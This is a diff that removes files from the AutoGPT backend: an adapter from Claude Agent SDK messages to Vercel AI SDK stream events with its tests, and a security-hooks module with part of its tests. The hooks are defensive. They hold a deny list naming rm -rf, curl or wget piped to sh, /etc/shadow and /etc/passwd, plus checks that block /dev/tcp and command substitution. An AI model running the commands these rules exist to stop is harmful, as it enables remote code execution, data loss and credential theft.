-                new_content = [new_content]
-
-            merged[-1]["content"] = prev_content + new_content
-        else:
-            merged.append(msg)
-
-    return merged
-
-
-async def _execute_tool(
-    tool_name: str, tool_input: Any, handlers: dict[str, Any]
-) -> tuple[str, bool]:
-    """Execute a tool and return (output, is_error)."""
-    handler = handlers.get(tool_name)
-    if not handler:
-        return f"Unknown tool: {tool_name}", True
-
-    try:
-        result = await handler(tool_input)
-        # Safely extract output - handle empty or missing content
-        content = result.get("content") or []
-        if content and isinstance(content, list) and len(content) > 0:
-            first_item = content[0]
-            output = first_item.get("text", "") if isinstance(first_item, dict) else ""
-        else:
-            output = ""
-        is_error = result.get("isError", False)
-        return output, is_error
-    except Exception as e:
-        return f"Error: {str(e)}", True

autogpt_platform/backend/backend/api/features/chat/sdk/response_adapter.py

@@ -1,212 +0,0 @@
-"""Response adapter for converting Claude Agent SDK messages to Vercel AI SDK format.
-
-This module provides the adapter layer that converts streaming messages from
-the Claude Agent SDK into the Vercel AI SDK UI Stream Protocol format that
-the frontend expects.
-"""
-
-import json
-import logging
-import uuid
-
-from claude_agent_sdk import (
-    AssistantMessage,
-    Message,
-    ResultMessage,
-    SystemMessage,
-    TextBlock,
-    ToolResultBlock,
-    ToolUseBlock,
-    UserMessage,
-)
-
-from backend.api.features.chat.response_model import (
-    StreamBaseResponse,
-    StreamError,
-    StreamFinish,
-    StreamFinishStep,
-    StreamStart,
-    StreamStartStep,
-    StreamTextDelta,
-    StreamTextEnd,
-    StreamTextStart,
-    StreamToolInputAvailable,
-    StreamToolInputStart,
-    StreamToolOutputAvailable,
-    StreamUsage,
-)
-from backend.api.features.chat.sdk.tool_adapter import (
-    MCP_TOOL_PREFIX,
-    pop_pending_tool_output,
-)
-
-logger = logging.getLogger(__name__)
-
-
-class SDKResponseAdapter:
-    """Adapter for converting Claude Agent SDK messages to Vercel AI SDK format.
-
-    This class maintains state during a streaming session to properly track
-    text blocks, tool calls, and message lifecycle.
-    """
-
-    def __init__(self, message_id: str | None = None):
-        self.message_id = message_id or str(uuid.uuid4())
-        self.text_block_id = str(uuid.uuid4())
-        self.has_started_text = False
-        self.has_ended_text = False
-        self.current_tool_calls: dict[str, dict[str, str]] = {}
-        self.task_id: str | None = None
-        self.step_open = False
-
-    def set_task_id(self, task_id: str) -> None:
-        """Set the task ID for reconnection support."""
-        self.task_id = task_id
-
-    def convert_message(self, sdk_message: Message) -> list[StreamBaseResponse]:
-        """Convert a single SDK message to Vercel AI SDK format."""
-        responses: list[StreamBaseResponse] = []
-
-        if isinstance(sdk_message, SystemMessage):
-            if sdk_message.subtype == "init":
-                responses.append(
-                    StreamStart(messageId=self.message_id, taskId=self.task_id)
-                )
-                # Open the first step (matches non-SDK: StreamStart then StreamStartStep)
-                responses.append(StreamStartStep())
-                self.step_open = True
-
-        elif isinstance(sdk_message, AssistantMessage):
-            # After tool results, the SDK sends a new AssistantMessage for the
-            # next LLM turn. Open a new step if the previous one was closed.
-            if not self.step_open:
-                responses.append(StreamStartStep())
-                self.step_open = True
-
-            for block in sdk_message.content:
-                if isinstance(block, TextBlock):
-                    if block.text:
-                        self._ensure_text_started(responses)
-                        responses.append(
-                            StreamTextDelta(id=self.text_block_id, delta=block.text)
-                        )
-
-                elif isinstance(block, ToolUseBlock):
-                    self._end_text_if_open(responses)
-
-                    # Strip MCP prefix so frontend sees "find_block"
-                    # instead of "mcp__copilot__find_block".
-                    tool_name = block.name.removeprefix(MCP_TOOL_PREFIX)
-
-                    responses.append(
-                        StreamToolInputStart(toolCallId=block.id, toolName=tool_name)
-                    )
-                    responses.append(
-                        StreamToolInputAvailable(
-                            toolCallId=block.id,
-                            toolName=tool_name,
-                            input=block.input,
-                        )
-                    )
-                    self.current_tool_calls[block.id] = {"name": tool_name}
-
-        elif isinstance(sdk_message, UserMessage):
-            # UserMessage carries tool results back from tool execution.
-            content = sdk_message.content
-            blocks = content if isinstance(content, list) else []
-            for block in blocks:
-                if isinstance(block, ToolResultBlock) and block.tool_use_id:
-                    tool_info = self.current_tool_calls.get(block.tool_use_id, {})
-                    tool_name = tool_info.get("name", "unknown")
-
-                    # Prefer the stashed full output over the SDK's
-                    # (potentially truncated) ToolResultBlock content.
-                    # The SDK truncates large results, writing them to disk,
-                    # which breaks frontend widget parsing.
-                    output = pop_pending_tool_output(tool_name) or (
-                        _extract_tool_output(block.content)
-                    )
-
-                    responses.append(
-                        StreamToolOutputAvailable(
-                            toolCallId=block.tool_use_id,
-                            toolName=tool_name,
-                            output=output,
-                            success=not (block.is_error or False),
-                        )
-                    )
-
-            # Close the current step after tool results — the next
-            # AssistantMessage will open a new step for the continuation.
-            if self.step_open:
-                responses.append(StreamFinishStep())
-                self.step_open = False
-
-        elif isinstance(sdk_message, ResultMessage):
-            self._end_text_if_open(responses)
-            # Close the step before finishing.
-            if self.step_open:
-                responses.append(StreamFinishStep())
-                self.step_open = False
-
-            # Emit token usage if the SDK reported it
-            usage = getattr(sdk_message, "usage", None) or {}
-            if usage:
-                input_tokens = usage.get("input_tokens", 0)
-                output_tokens = usage.get("output_tokens", 0)
-                responses.append(
-                    StreamUsage(
-                        promptTokens=input_tokens,
-                        completionTokens=output_tokens,
-                        totalTokens=input_tokens + output_tokens,
-                    )
-                )
-
-            if sdk_message.subtype == "success":
-                responses.append(StreamFinish())
-            elif sdk_message.subtype in ("error", "error_during_execution"):
-                error_msg = getattr(sdk_message, "result", None) or "Unknown error"
-                responses.append(
-                    StreamError(errorText=str(error_msg), code="sdk_error")
-                )
-                responses.append(StreamFinish())
-
-        else:
-            logger.debug(f"Unhandled SDK message type: {type(sdk_message).__name__}")
-
-        return responses
-
-    def _ensure_text_started(self, responses: list[StreamBaseResponse]) -> None:
-        """Start (or restart) a text block if needed."""
-        if not self.has_started_text or self.has_ended_text:
-            if self.has_ended_text:
-                self.text_block_id = str(uuid.uuid4())
-                self.has_ended_text = False
-            responses.append(StreamTextStart(id=self.text_block_id))
-            self.has_started_text = True
-
-    def _end_text_if_open(self, responses: list[StreamBaseResponse]) -> None:
-        """End the current text block if one is open."""
-        if self.has_started_text and not self.has_ended_text:
-            responses.append(StreamTextEnd(id=self.text_block_id))
-            self.has_ended_text = True
-
-
-def _extract_tool_output(content: str | list[dict[str, str]] | None) -> str:
-    """Extract a string output from a ToolResultBlock's content field."""
-    if isinstance(content, str):
-        return content
-    if isinstance(content, list):
-        parts = [item.get("text", "") for item in content if item.get("type") == "text"]
-        if parts:
-            return "".join(parts)
-        try:
-            return json.dumps(content)
-        except (TypeError, ValueError):
-            return str(content)
-    if content is None:
-        return ""
-    try:
-        return json.dumps(content)
-    except (TypeError, ValueError):
-        return str(content)

autogpt_platform/backend/backend/api/features/chat/sdk/response_adapter_test.py

@@ -1,366 +0,0 @@
-"""Unit tests for the SDK response adapter."""
-
-from claude_agent_sdk import (
-    AssistantMessage,
-    ResultMessage,
-    SystemMessage,
-    TextBlock,
-    ToolResultBlock,
-    ToolUseBlock,
-    UserMessage,
-)
-
-from backend.api.features.chat.response_model import (
-    StreamBaseResponse,
-    StreamError,
-    StreamFinish,
-    StreamFinishStep,
-    StreamStart,
-    StreamStartStep,
-    StreamTextDelta,
-    StreamTextEnd,
-    StreamTextStart,
-    StreamToolInputAvailable,
-    StreamToolInputStart,
-    StreamToolOutputAvailable,
-)
-
-from .response_adapter import SDKResponseAdapter
-from .tool_adapter import MCP_TOOL_PREFIX
-
-
-def _adapter() -> SDKResponseAdapter:
-    a = SDKResponseAdapter(message_id="msg-1")
-    a.set_task_id("task-1")
-    return a
-
-
-# -- SystemMessage -----------------------------------------------------------
-
-
-def test_system_init_emits_start_and_step():
-    adapter = _adapter()
-    results = adapter.convert_message(SystemMessage(subtype="init", data={}))
-    assert len(results) == 2
-    assert isinstance(results[0], StreamStart)
-    assert results[0].messageId == "msg-1"
-    assert results[0].taskId == "task-1"
-    assert isinstance(results[1], StreamStartStep)
-
-
-def test_system_non_init_emits_nothing():
-    adapter = _adapter()
-    results = adapter.convert_message(SystemMessage(subtype="other", data={}))
-    assert results == []
-
-
-# -- AssistantMessage with TextBlock -----------------------------------------
-
-
-def test_text_block_emits_step_start_and_delta():
-    adapter = _adapter()
-    msg = AssistantMessage(content=[TextBlock(text="hello")], model="test")
-    results = adapter.convert_message(msg)
-    assert len(results) == 3
-    assert isinstance(results[0], StreamStartStep)
-    assert isinstance(results[1], StreamTextStart)
-    assert isinstance(results[2], StreamTextDelta)
-    assert results[2].delta == "hello"
-
-
-def test_empty_text_block_emits_only_step():
-    adapter = _adapter()
-    msg = AssistantMessage(content=[TextBlock(text="")], model="test")
-    results = adapter.convert_message(msg)
-    # Empty text skipped, but step still opens
-    assert len(results) == 1
-    assert isinstance(results[0], StreamStartStep)
-
-
-def test_multiple_text_deltas_reuse_block_id():
-    adapter = _adapter()
-    msg1 = AssistantMessage(content=[TextBlock(text="a")], model="test")
-    msg2 = AssistantMessage(content=[TextBlock(text="b")], model="test")
-    r1 = adapter.convert_message(msg1)
-    r2 = adapter.convert_message(msg2)
-    # First gets step+start+delta, second only delta (block & step already started)
-    assert len(r1) == 3
-    assert isinstance(r1[0], StreamStartStep)
-    assert isinstance(r1[1], StreamTextStart)
-    assert len(r2) == 1
-    assert isinstance(r2[0], StreamTextDelta)
-    assert r1[1].id == r2[0].id  # same block ID
-
-
-# -- AssistantMessage with ToolUseBlock --------------------------------------
-
-
-def test_tool_use_emits_input_start_and_available():
-    """Tool names arrive with MCP prefix and should be stripped for the frontend."""
-    adapter = _adapter()
-    msg = AssistantMessage(
-        content=[
-            ToolUseBlock(
-                id="tool-1",
-                name=f"{MCP_TOOL_PREFIX}find_agent",
-                input={"q": "x"},
-            )
-        ],
-        model="test",
-    )
-    results = adapter.convert_message(msg)
-    assert len(results) == 3
-    assert isinstance(results[0], StreamStartStep)
-    assert isinstance(results[1], StreamToolInputStart)
-    assert results[1].toolCallId == "tool-1"
-    assert results[1].toolName == "find_agent"  # prefix stripped
-    assert isinstance(results[2], StreamToolInputAvailable)
-    assert results[2].toolName == "find_agent"  # prefix stripped
-    assert results[2].input == {"q": "x"}
-
-
-def test_text_then_tool_ends_text_block():
-    adapter = _adapter()
-    text_msg = AssistantMessage(content=[TextBlock(text="thinking...")], model="test")
-    tool_msg = AssistantMessage(
-        content=[ToolUseBlock(id="t1", name=f"{MCP_TOOL_PREFIX}tool", input={})],
-        model="test",
-    )
-    adapter.convert_message(text_msg)  # opens step + text
-    results = adapter.convert_message(tool_msg)
-    # Step already open, so: TextEnd, ToolInputStart, ToolInputAvailable
-    assert len(results) == 3
-    assert isinstance(results[0], StreamTextEnd)
-    assert isinstance(results[1], StreamToolInputStart)
-
-
-# -- UserMessage with ToolResultBlock ----------------------------------------
-
-
-def test_tool_result_emits_output_and_finish_step():
-    adapter = _adapter()
-    # First register the tool call (opens step) — SDK sends prefixed name
-    tool_msg = AssistantMessage(
-        content=[ToolUseBlock(id="t1", name=f"{MCP_TOOL_PREFIX}find_agent", input={})],
-        model="test",
-    )
-    adapter.convert_message(tool_msg)
-
-    # Now send tool result
-    result_msg = UserMessage(
-        content=[ToolResultBlock(tool_use_id="t1", content="found 3 agents")]
-    )
-    results = adapter.convert_message(result_msg)
-    assert len(results) == 2
-    assert isinstance(results[0], StreamToolOutputAvailable)
-    assert results[0].toolCallId == "t1"
-    assert results[0].toolName == "find_agent"  # prefix stripped
-    assert results[0].output == "found 3 agents"
-    assert results[0].success is True
-    assert isinstance(results[1], StreamFinishStep)
-
-
-def test_tool_result_error():
-    adapter = _adapter()
-    adapter.convert_message(
-        AssistantMessage(
-            content=[
-                ToolUseBlock(id="t1", name=f"{MCP_TOOL_PREFIX}run_agent", input={})
-            ],
-            model="test",
-        )
-    )
-    result_msg = UserMessage(
-        content=[ToolResultBlock(tool_use_id="t1", content="timeout", is_error=True)]
-    )
-    results = adapter.convert_message(result_msg)
-    assert isinstance(results[0], StreamToolOutputAvailable)
-    assert results[0].success is False
-    assert isinstance(results[1], StreamFinishStep)
-
-
-def test_tool_result_list_content():
-    adapter = _adapter()
-    adapter.convert_message(
-        AssistantMessage(
-            content=[ToolUseBlock(id="t1", name=f"{MCP_TOOL_PREFIX}tool", input={})],
-            model="test",
-        )
-    )
-    result_msg = UserMessage(
-        content=[
-            ToolResultBlock(
-                tool_use_id="t1",
-                content=[
-                    {"type": "text", "text": "line1"},
-                    {"type": "text", "text": "line2"},
-                ],
-            )
-        ]
-    )
-    results = adapter.convert_message(result_msg)
-    assert isinstance(results[0], StreamToolOutputAvailable)
-    assert results[0].output == "line1line2"
-    assert isinstance(results[1], StreamFinishStep)
-
-
-def test_string_user_message_ignored():
-    """A plain string UserMessage (not tool results) produces no output."""
-    adapter = _adapter()
-    results = adapter.convert_message(UserMessage(content="hello"))
-    assert results == []
-
-
-# -- ResultMessage -----------------------------------------------------------
-
-
-def test_result_success_emits_finish_step_and_finish():
-    adapter = _adapter()
-    # Start some text first (opens step)
-    adapter.convert_message(
-        AssistantMessage(content=[TextBlock(text="done")], model="test")
-    )
-    msg = ResultMessage(
-        subtype="success",
-        duration_ms=100,
-        duration_api_ms=50,
-        is_error=False,
-        num_turns=1,
-        session_id="s1",
-    )
-    results = adapter.convert_message(msg)
-    # TextEnd + FinishStep + StreamFinish
-    assert len(results) == 3
-    assert isinstance(results[0], StreamTextEnd)
-    assert isinstance(results[1], StreamFinishStep)
-    assert isinstance(results[2], StreamFinish)
-
-
-def test_result_error_emits_error_and_finish():
-    adapter = _adapter()
-    msg = ResultMessage(
-        subtype="error",
-        duration_ms=100,
-        duration_api_ms=50,
-        is_error=True,
-        num_turns=0,
-        session_id="s1",
-        result="API rate limited",
-    )
-    results = adapter.convert_message(msg)
-    # No step was open, so no FinishStep — just Error + Finish
-    assert len(results) == 2
-    assert isinstance(results[0], StreamError)
-    assert "API rate limited" in results[0].errorText
-    assert isinstance(results[1], StreamFinish)
-
-
-# -- Text after tools (new block ID) ----------------------------------------
-
-
-def test_text_after_tool_gets_new_block_id():
-    adapter = _adapter()
-    # Text -> Tool -> ToolResult -> Text should get a new text block ID and step
-    adapter.convert_message(
-        AssistantMessage(content=[TextBlock(text="before")], model="test")
-    )
-    adapter.convert_message(
-        AssistantMessage(
-            content=[ToolUseBlock(id="t1", name=f"{MCP_TOOL_PREFIX}tool", input={})],
-            model="test",
-        )
-    )
-    # Send tool result (closes step)
-    adapter.convert_message(
-        UserMessage(content=[ToolResultBlock(tool_use_id="t1", content="ok")])
-    )
-    results = adapter.convert_message(
-        AssistantMessage(content=[TextBlock(text="after")], model="test")
-    )
-    # Should get StreamStartStep (new step) + StreamTextStart (new block) + StreamTextDelta
-    assert len(results) == 3
-    assert isinstance(results[0], StreamStartStep)
-    assert isinstance(results[1], StreamTextStart)
-    assert isinstance(results[2], StreamTextDelta)
-    assert results[2].delta == "after"
-
-
-# -- Full conversation flow --------------------------------------------------
-
-
-def test_full_conversation_flow():
-    """Simulate a complete conversation: init -> text -> tool -> result -> text -> finish."""
-    adapter = _adapter()
-    all_responses: list[StreamBaseResponse] = []
-
-    # 1. Init
-    all_responses.extend(
-        adapter.convert_message(SystemMessage(subtype="init", data={}))
-    )
-    # 2. Assistant text
-    all_responses.extend(
-        adapter.convert_message(
-            AssistantMessage(content=[TextBlock(text="Let me search")], model="test")
-        )
-    )
-    # 3. Tool use
-    all_responses.extend(
-        adapter.convert_message(
-            AssistantMessage(
-                content=[
-                    ToolUseBlock(
-                        id="t1",
-                        name=f"{MCP_TOOL_PREFIX}find_agent",
-                        input={"query": "email"},
-                    )
-                ],
-                model="test",
-            )
-        )
-    )
-    # 4. Tool result
-    all_responses.extend(
-        adapter.convert_message(
-            UserMessage(
-                content=[ToolResultBlock(tool_use_id="t1", content="Found 2 agents")]
-            )
-        )
-    )
-    # 5. More text
-    all_responses.extend(
-        adapter.convert_message(
-            AssistantMessage(content=[TextBlock(text="I found 2")], model="test")
-        )
-    )
-    # 6. Result
-    all_responses.extend(
-        adapter.convert_message(
-            ResultMessage(
-                subtype="success",
-                duration_ms=500,
-                duration_api_ms=400,
-                is_error=False,
-                num_turns=2,
-                session_id="s1",
-            )
-        )
-    )
-
-    types = [type(r).__name__ for r in all_responses]
-    assert types == [
-        "StreamStart",
-        "StreamStartStep",  # step 1: text + tool call
-        "StreamTextStart",
-        "StreamTextDelta",  # "Let me search"
-        "StreamTextEnd",  # closed before tool
-        "StreamToolInputStart",
-        "StreamToolInputAvailable",
-        "StreamToolOutputAvailable",  # tool result
-        "StreamFinishStep",  # step 1 closed after tool result
-        "StreamStartStep",  # step 2: continuation text
-        "StreamTextStart",  # new block after tool
-        "StreamTextDelta",  # "I found 2"
-        "StreamTextEnd",  # closed by result
-        "StreamFinishStep",  # step 2 closed
-        "StreamFinish",
-    ]

autogpt_platform/backend/backend/api/features/chat/sdk/security_hooks.py

@@ -1,393 +0,0 @@
-"""Security hooks for Claude Agent SDK integration.
-
-This module provides security hooks that validate tool calls before execution,
-ensuring multi-user isolation and preventing unauthorized operations.
-"""
-
-import json
-import logging
-import os
-import re
-import shlex
-from typing import Any, cast
-
-from backend.api.features.chat.sdk.tool_adapter import MCP_TOOL_PREFIX
-
-logger = logging.getLogger(__name__)
-
-# Tools that are blocked entirely (CLI/system access)
-BLOCKED_TOOLS = {
-    "bash",
-    "shell",
-    "exec",
-    "terminal",
-    "command",
-}
-
-# Safe read-only commands allowed in the sandboxed Bash tool.
-# These are data-processing / inspection utilities — no writes, no network.
-ALLOWED_BASH_COMMANDS = {
-    # JSON / structured data
-    "jq",
-    # Text processing
-    "grep",
-    "egrep",
-    "fgrep",
-    "rg",
-    "head",
-    "tail",
-    "cat",
-    "wc",
-    "sort",
-    "uniq",
-    "cut",
-    "tr",
-    "sed",
-    "awk",
-    "column",
-    "fold",
-    "fmt",
-    "nl",
-    "paste",
-    "rev",
-    # File inspection (read-only)
-    "find",
-    "ls",
-    "file",
-    "stat",
-    "du",
-    "tree",
-    "basename",
-    "dirname",
-    "realpath",
-    # Utilities
-    "echo",
-    "printf",
-    "date",
-    "true",
-    "false",
-    "xargs",
-    "tee",
-    # Comparison / encoding
-    "diff",
-    "comm",
-    "base64",
-    "md5sum",
-    "sha256sum",
-}
-
-# Tools allowed only when their path argument stays within the SDK workspace.
-# The SDK uses these to handle oversized tool results (writes to tool-results/
-# files, then reads them back) and for workspace file operations.
-WORKSPACE_SCOPED_TOOLS = {"Read", "Write", "Edit", "Glob", "Grep"}
-
-# Tools that get sandboxed Bash validation (command allowlist + workspace paths).
-SANDBOXED_BASH_TOOLS = {"Bash"}
-
-# Dangerous patterns in tool inputs
-DANGEROUS_PATTERNS = [
-    r"sudo",
-    r"rm\s+-rf",
-    r"dd\s+if=",
-    r"/etc/passwd",
-    r"/etc/shadow",
-    r"chmod\s+777",
-    r"curl\s+.*\|.*sh",
-    r"wget\s+.*\|.*sh",
-    r"eval\s*\(",
-    r"exec\s*\(",
-    r"__import__",
-    r"os\.system",
-    r"subprocess",
-]
-
-
-def _deny(reason: str) -> dict[str, Any]:
-    """Return a hook denial response."""
-    return {
-        "hookSpecificOutput": {
-            "hookEventName": "PreToolUse",
-            "permissionDecision": "deny",
-            "permissionDecisionReason": reason,
-        }
-    }
-
-
-def _validate_workspace_path(
-    tool_name: str, tool_input: dict[str, Any], sdk_cwd: str | None
-) -> dict[str, Any]:
-    """Validate that a workspace-scoped tool only accesses allowed paths.
-
-    Allowed directories:
-    - The SDK working directory (``/tmp/copilot-<session>/``)
-    - The SDK tool-results directory (``~/.claude/projects/…/tool-results/``)
-    """
-    path = tool_input.get("file_path") or tool_input.get("path") or ""
-    if not path:
-        # Glob/Grep without a path default to cwd which is already sandboxed
-        return {}
-
-    resolved = os.path.normpath(os.path.expanduser(path))
-
-    # Allow access within the SDK working directory
-    if sdk_cwd:
-        norm_cwd = os.path.normpath(sdk_cwd)
-        if resolved.startswith(norm_cwd + os.sep) or resolved == norm_cwd:
-            return {}
-
-    # Allow access to ~/.claude/projects/*/tool-results/ (big tool results)
-    claude_dir = os.path.normpath(os.path.expanduser("~/.claude/projects"))
-    if resolved.startswith(claude_dir + os.sep) and "tool-results" in resolved:
-        return {}
-
-    logger.warning(
-        f"Blocked {tool_name} outside workspace: {path} (resolved={resolved})"
-    )
-    return _deny(
-        f"Tool '{tool_name}' can only access files within the workspace directory."
-    )
-
-
-def _validate_bash_command(
-    tool_input: dict[str, Any], sdk_cwd: str | None
-) -> dict[str, Any]:
-    """Validate a Bash command against the allowlist of safe commands.
-
-    Only read-only data-processing commands are allowed (jq, grep, head, etc.).
-    Blocks command substitution, output redirection, and disallowed executables.
-
-    Uses ``shlex.split`` to properly handle quoted strings (e.g. jq filters
-    containing ``|`` won't be mistaken for shell pipes).
-    """
-    command = tool_input.get("command", "")
-    if not command or not isinstance(command, str):
-        return _deny("Bash command is empty.")
-
-    # Block command substitution — can smuggle arbitrary commands
-    if "$(" in command or "`" in command:
-        return _deny("Command substitution ($() or ``) is not allowed in Bash.")
-
-    # Block output redirection — Bash should be read-only
-    if re.search(r"(?<!\d)>{1,2}\s", command):
-        return _deny("Output redirection (> or >>) is not allowed in Bash.")
-
-    # Block /dev/ access (e.g., /dev/tcp for network)
-    if "/dev/" in command:
-        return _deny("Access to /dev/ is not allowed in Bash.")
-
-    # Tokenize with shlex (respects quotes), then extract command names.
-    # shlex preserves shell operators like | ; && || as separate tokens.
-    try:
-        tokens = shlex.split(command)
-    except ValueError:
-        return _deny("Malformed command (unmatched quotes).")
-
-    # Walk tokens: the first non-assignment token after a pipe/separator is a command.
-    expect_command = True
-    for token in tokens:
-        if token in ("|", "||", "&&", ";"):
-            expect_command = True
-            continue
-        if expect_command:
-            # Skip env var assignments (VAR=value)
-            if "=" in token and not token.startswith("-"):
-                continue
-            cmd_name = os.path.basename(token)
-            if cmd_name not in ALLOWED_BASH_COMMANDS:
-                allowed = ", ".join(sorted(ALLOWED_BASH_COMMANDS))
-                logger.warning(f"Blocked Bash command: {cmd_name}")
-                return _deny(
-                    f"Command '{cmd_name}' is not allowed. "
-                    f"Allowed commands: {allowed}"
-                )
-            expect_command = False
-
-    # Validate absolute file paths stay within workspace
-    if sdk_cwd:
-        norm_cwd = os.path.normpath(sdk_cwd)
-        claude_dir = os.path.normpath(os.path.expanduser("~/.claude/projects"))
-        for token in tokens:
-            if not token.startswith("/"):
-                continue
-            resolved = os.path.normpath(token)
-            if resolved.startswith(norm_cwd + os.sep) or resolved == norm_cwd:
-                continue
-            if resolved.startswith(claude_dir + os.sep) and "tool-results" in resolved:
-                continue
-            logger.warning(f"Blocked Bash path outside workspace: {token}")
-            return _deny(
-                f"Bash can only access files within the workspace directory. "
-                f"Path '{token}' is outside the workspace."
-            )
-
-    return {}
-
-
-def _validate_tool_access(
-    tool_name: str, tool_input: dict[str, Any], sdk_cwd: str | None = None
-) -> dict[str, Any]:
-    """Validate that a tool call is allowed.
-
-    Returns:
-        Empty dict to allow, or dict with hookSpecificOutput to deny
-    """
-    # Block forbidden tools
-    if tool_name in BLOCKED_TOOLS:
-        logger.warning(f"Blocked tool access attempt: {tool_name}")
-        return _deny(
-            f"Tool '{tool_name}' is not available. "
-            "Use the CoPilot-specific tools instead."
-        )
-
-    # Sandboxed Bash: only allowlisted commands, workspace-scoped paths
-    if tool_name in SANDBOXED_BASH_TOOLS:
-        return _validate_bash_command(tool_input, sdk_cwd)
-
-    # Workspace-scoped tools: allowed only within the SDK workspace directory
-    if tool_name in WORKSPACE_SCOPED_TOOLS:
-        return _validate_workspace_path(tool_name, tool_input, sdk_cwd)
-
-    # Check for dangerous patterns in tool input
-    # Use json.dumps for predictable format (str() produces Python repr)
-    input_str = json.dumps(tool_input) if tool_input else ""
-
-    for pattern in DANGEROUS_PATTERNS:
-        if re.search(pattern, input_str, re.IGNORECASE):
-            logger.warning(
-                f"Blocked dangerous pattern in tool input: {pattern} in {tool_name}"
-            )
-            return _deny("Input contains blocked pattern")
-
-    return {}
-
-
-def _validate_user_isolation(
-    tool_name: str, tool_input: dict[str, Any], user_id: str | None
-) -> dict[str, Any]:
-    """Validate that tool calls respect user isolation."""
-    # For workspace file tools, ensure path doesn't escape
-    if "workspace" in tool_name.lower():
-        path = tool_input.get("path", "") or tool_input.get("file_path", "")
-        if path:
-            # Check for path traversal
-            if ".." in path or path.startswith("/"):
-                logger.warning(
-                    f"Blocked path traversal attempt: {path} by user {user_id}"
-                )
-                return {
-                    "hookSpecificOutput": {
-                        "hookEventName": "PreToolUse",
-                        "permissionDecision": "deny",
-                        "permissionDecisionReason": "Path traversal not allowed",
-                    }
-                }
-
-    return {}
-
-
-def create_security_hooks(
-    user_id: str | None, sdk_cwd: str | None = None
-) -> dict[str, Any]:
-    """Create the security hooks configuration for Claude Agent SDK.
-
-    Includes security validation and observability hooks:
-    - PreToolUse: Security validation before tool execution
-    - PostToolUse: Log successful tool executions
-    - PostToolUseFailure: Log and handle failed tool executions
-    - PreCompact: Log context compaction events (SDK handles compaction automatically)
-
-    Args:
-        user_id: Current user ID for isolation validation
-        sdk_cwd: SDK working directory for workspace-scoped tool validation
-
-    Returns:
-        Hooks configuration dict for ClaudeAgentOptions
-    """
-    try:
-        from claude_agent_sdk import HookMatcher
-        from claude_agent_sdk.types import HookContext, HookInput, SyncHookJSONOutput
-
-        async def pre_tool_use_hook(
-            input_data: HookInput,
-            tool_use_id: str | None,
-            context: HookContext,
-        ) -> SyncHookJSONOutput:
-            """Combined pre-tool-use validation hook."""
-            _ = context  # unused but required by signature
-            tool_name = cast(str, input_data.get("tool_name", ""))
-            tool_input = cast(dict[str, Any], input_data.get("tool_input", {}))
-
-            # Strip MCP prefix for consistent validation
-            is_copilot_tool = tool_name.startswith(MCP_TOOL_PREFIX)
-            clean_name = tool_name.removeprefix(MCP_TOOL_PREFIX)
-
-            # Only block non-CoPilot tools; our MCP-registered tools
-            # (including Read for oversized results) are already sandboxed.
-            if not is_copilot_tool:
-                result = _validate_tool_access(clean_name, tool_input, sdk_cwd)
-                if result:
-                    return cast(SyncHookJSONOutput, result)
-
-            # Validate user isolation
-            result = _validate_user_isolation(clean_name, tool_input, user_id)
-            if result:
-                return cast(SyncHookJSONOutput, result)
-
-            logger.debug(f"[SDK] Tool start: {tool_name}, user={user_id}")
-            return cast(SyncHookJSONOutput, {})
-
-        async def post_tool_use_hook(
-            input_data: HookInput,
-            tool_use_id: str | None,
-            context: HookContext,
-        ) -> SyncHookJSONOutput:
-            """Log successful tool executions for observability."""
-            _ = context
-            tool_name = cast(str, input_data.get("tool_name", ""))
-            logger.debug(f"[SDK] Tool success: {tool_name}, tool_use_id={tool_use_id}")
-            return cast(SyncHookJSONOutput, {})
-
-        async def post_tool_failure_hook(
-            input_data: HookInput,
-            tool_use_id: str | None,
-            context: HookContext,
-        ) -> SyncHookJSONOutput:
-            """Log failed tool executions for debugging."""
-            _ = context
-            tool_name = cast(str, input_data.get("tool_name", ""))
-            error = input_data.get("error", "Unknown error")
-            logger.warning(
-                f"[SDK] Tool failed: {tool_name}, error={error}, "
-                f"user={user_id}, tool_use_id={tool_use_id}"
-            )
-            return cast(SyncHookJSONOutput, {})
-
-        async def pre_compact_hook(
-            input_data: HookInput,
-            tool_use_id: str | None,
-            context: HookContext,
-        ) -> SyncHookJSONOutput:
-            """Log when SDK triggers context compaction.
-
-            The SDK automatically compacts conversation history when it grows too large.
-            This hook provides visibility into when compaction happens.
-            """
-            _ = context, tool_use_id
-            trigger = input_data.get("trigger", "auto")
-            logger.info(
-                f"[SDK] Context compaction triggered: {trigger}, user={user_id}"
-            )
-            return cast(SyncHookJSONOutput, {})
-
-        return {
-            "PreToolUse": [HookMatcher(matcher="*", hooks=[pre_tool_use_hook])],
-            "PostToolUse": [HookMatcher(matcher="*", hooks=[post_tool_use_hook])],
-            "PostToolUseFailure": [
-                HookMatcher(matcher="*", hooks=[post_tool_failure_hook])
-            ],
-            "PreCompact": [HookMatcher(matcher="*", hooks=[pre_compact_hook])],
-        }
-    except ImportError:
-        # Fallback for when SDK isn't available - return empty hooks
-        logger.warning("claude-agent-sdk not available, security hooks disabled")
-        return {}

autogpt_platform/backend/backend/api/features/chat/sdk/security_hooks_test.py

@@ -1,258 +0,0 @@
-"""Unit tests for SDK security hooks."""
-
-import os
-
-from .security_hooks import _validate_tool_access, _validate_user_isolation
-
-SDK_CWD = "/tmp/copilot-abc123"
-
-
-def _is_denied(result: dict) -> bool:
-    hook = result.get("hookSpecificOutput", {})
-    return hook.get("permissionDecision") == "deny"
-
-
-# -- Blocked tools -----------------------------------------------------------
-
-
-def test_blocked_tools_denied():
-    for tool in ("bash", "shell", "exec", "terminal", "command"):
-        result = _validate_tool_access(tool, {})
-        assert _is_denied(result), f"{tool} should be blocked"
-
-
-def test_unknown_tool_allowed():
-    result = _validate_tool_access("SomeCustomTool", {})
-    assert result == {}
-
-
-# -- Workspace-scoped tools --------------------------------------------------
-
-
-def test_read_within_workspace_allowed():
-    result = _validate_tool_access(
-        "Read", {"file_path": f"{SDK_CWD}/file.txt"}, sdk_cwd=SDK_CWD
-    )
-    assert result == {}
-
-
-def test_write_within_workspace_allowed():
-    result = _validate_tool_access(
-        "Write", {"file_path": f"{SDK_CWD}/output.json"}, sdk_cwd=SDK_CWD
-    )
-    assert result == {}
-
-
-def test_edit_within_workspace_allowed():
-    result = _validate_tool_access(
-        "Edit", {"file_path": f"{SDK_CWD}/src/main.py"}, sdk_cwd=SDK_CWD
-    )
-    assert result == {}
-
-
-def test_glob_within_workspace_allowed():
-    result = _validate_tool_access("Glob", {"path": f"{SDK_CWD}/src"}, sdk_cwd=SDK_CWD)
-    assert result == {}
-
-
-def test_grep_within_workspace_allowed():
